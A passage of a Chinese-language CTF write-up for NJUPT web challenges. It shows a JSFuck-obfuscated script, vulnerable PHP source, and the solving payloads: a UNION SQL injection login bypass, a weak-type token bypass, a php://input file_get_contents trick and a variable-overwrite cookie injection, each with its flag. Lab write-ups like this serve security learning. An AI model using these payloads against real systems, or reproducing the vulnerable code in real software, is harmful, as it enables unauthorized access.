]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()([][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()(({}+[])[+[]])[+[]]+(!![]+!![]+[])+(!![]+!![]+[]))+(+!![]+[])+({}+[])[!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+({}+[])[!![]+!![]]+(!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+[])+(![]+[])[+[]]+(!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+[])+(!![]+!![]+!![]+[])+({}+[])[!![]+!![]]+(![]+[])[+!![]]+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+[])+(![]+[])[+!![]]+(![]+[])[+!![]]+(![]+[])[+[]]+(!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+[])+(!![]+!![]+!![]+!![]+[])+(![]+[])[+[]]+({}[[]]+[])[!![]+!![]]+(!![]+!![]+!![]+[])+({}+[])[!![]+!![]]+(+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+({}[[]]+[])[+[]]+({}[[]]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()([][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()(({}+[])[+[]])[+[]]+(!![]+!![]+[])+(!![]+[])[!![]+!![]+!![]])+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[!![]+!![]+!![]]+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[+[]]+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[!![]+!![]+!![]]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+({}[[]]+[])[+[]]+({}[[]]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()([][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()(({}+[])[+[]])[+[]]+(!![]+!![]+[])+(!![]+!![]+[]))+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+({}[[]]+[])[+[]]+({}[[]]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()([][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()(({}+[])[+[]])[+[]]+(!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])))()

操作台运行，得到TIPS 1bc29b36f623ba82aaf6724fd3b16718.php
访问后得到提示tip在脑袋（head）里，那看头咯，返回包里有tip，提示history of bash
/.bash_history用来存放历史记录
打开提示一个zip文件下载flag.txt
nctf{bash_history_means_what}

#SQL注入2

点击Source查看源码

<html>
<head>
Secure Web Login II
</head>
<body>

<?php
if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];
  $pass = md5($_POST[pass]);
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
  if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}
?>


<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.phps">Source</a>
</html>

strcasecmp（）函数用于忽略大小写比较字符串
题目要求md5加密后的password值与数据库取出的PW相等
SQL语句即为select pw from ctf where user=admin union select md5(1)
即构造payload：user=’ union select md5(1)# & pass=1
ntcf{union_select_is_wtf}

#密码重置2

TIPS:
1.管理员邮箱观察一下就可以找到
2.linux下一般使用vi编辑器，并且异常退出会留下备份文件
3.弱类型bypass
管理员邮箱：admin@nuptzj.cn
打开.submit.php.swp文件

源码如下
........这一行是省略的代码........

/*
如果登录邮箱地址不是管理员则 die()
数据库结构

--
-- 表的结构 `user`
--

CREATE TABLE IF NOT EXISTS `user` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `username` varchar(255) NOT NULL,
  `email` varchar(255) NOT NULL,
  `token` int(255) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`)
) ENGINE=MyISAM  DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

--
-- 转存表中的数据 `user`
--

INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/


........这一行是省略的代码........

if(!empty($token)&&!empty($emailAddress)){
    if(strlen($token)!=10) die('fail');
    if($token!='0') die('fail');
    $sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
    $r = mysql_query($sql) or die('db error');
    $r = mysql_fetch_assoc($r);
    $r = $r['num'];
    if($r>0){
        echo $flag;
    }else{
        echo "失败了呀";
    }
}

重点在这

代码审计：if(strlen($token)!=10) die(‘fail’); if($token!=’0’) die(‘fail’); 长度为十并且值为零只有$token=0000000000 邮箱admin@nuptzj.cn 密码0000000000 nctf{thanks_to_cumt_bxs}

#综合题2

#file_get_contents

 <?php
include "flag.php";


$a = $_GET['a'];

if(strpos($a,"f")){
    die("No");
}elseif(@file_get_contents($_GET['a']) == "showmetheflag"){
    echo $flag;
}

show_source(__FILE__);

?>

代码审计：令file_get_contents($a,’f’)===”showmetheflag”,用php的封装协议php://input，得到原始的post数据。
构造payload：?a=php://input
post进参数showmetheflag
nctf{0b021b88527c69e5}

#变量覆盖

<?php
include "flag.php";

$_COOKIE['name'] = "";
foreach (array('_COOKIE','_POST','_GET') as $_request)  
{

    foreach ($$_request as $_key=>$_value)  
    {
        $$_key=  $_value;

    }

}

if($_COOKIE['name'] == "meizijiu"){
    echo $flag;
}
show_source(__FILE__);

?>

代码审计：把value的值给key，然后循环把_COOKIE’,’_POST’,’_GET’的值赋值给value。
post参数：_COOKIE[name]=meizijiu
nctf{AD3FBD8D5928693CA499347C91570AE6}

NJUPT线上攻防WP

Contents

#签到题

#md5 collison

#签到题2

#这题不是WEB

#层层递进

#AAencode

#单身二十年

#你从哪里来

#php decode

#文件包含

#单身一百年也没有用

#Download~!

#MYSQL

#sql injection 3

#/x00

#bypass agagin

#变量覆盖

#PHP是世界上最好的语言

#伪装者

#Header

#上传绕过

#SQL注入1

#pass check

#起名字真难

#密码重置

#SQL Injection

#综合题

#SQL注入2

#密码重置2

#综合题2

#变量覆盖

Contents

#签到题

#md5 collison

#签到题2

#这题不是WEB

#层层递进

#AAencode

#单身二十年

#你从哪里来

#php decode

#文件包含

#单身一百年也没有用

#Download~!

#COOKIE

#MYSQL

#sql injection 3

#/x00

#bypass agagin

#变量覆盖

#PHP是世界上最好的语言

#伪装者

#Header

#上传绕过

#SQL注入1

#pass check

#起名字真难

#密码重置

#SQL Injection

#综合题

#SQL注入2

#密码重置2

#综合题2

#变量覆盖